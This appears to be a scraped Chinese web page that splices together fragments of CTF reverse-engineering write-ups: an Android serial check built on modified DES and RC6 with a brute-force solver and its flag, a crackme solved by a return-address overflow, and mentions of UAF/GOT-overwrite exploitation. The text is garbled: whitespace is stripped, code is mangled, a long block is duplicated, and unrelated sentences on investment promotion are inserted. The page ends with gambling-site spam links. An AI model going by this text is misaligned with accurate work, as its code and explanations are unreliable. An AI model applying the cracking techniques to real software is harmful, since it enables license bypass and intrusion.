2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}。以招商引资增加项目建设、以项目建设推动招商引资的良性循环正在逐渐形成,贵港招商引资的“洼地效应”日益显现。。

两汉乐府2018-7-18 11:5:5

秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。,do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A。

蔡夷侯2018-7-18 11:5:5

处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91},OD载入,输入123456,点确定半天没反应,忽然来个内存异常。。UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。。

陈龙2018-7-18 11:5:5

通过WindowsDefenderATP,在防护事件中可以看到整个进程树的执行,从而可以轻易的确定发生的事情。,对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。。字段包含进程指向该页的PTE数量,如果存在共享页则应该比1大。。

评论热议
请登录后评论。

登录 注册

博彩公司 博彩公司 高尔夫博彩公司 现金二八杠 澳门网上赌博 赌球网
皇冠直营现金网 www.78932.com 博彩公司评级 www.919667.com www.xpj1758.com 赌博网
真人真钱游戏 www.ebet88.com www.135366.com www.msc08.com www.098486.com 博彩公司
www.wnsr980.com www.982015.com www.662404.com www.959928.com www.168702.com www.hg1171.com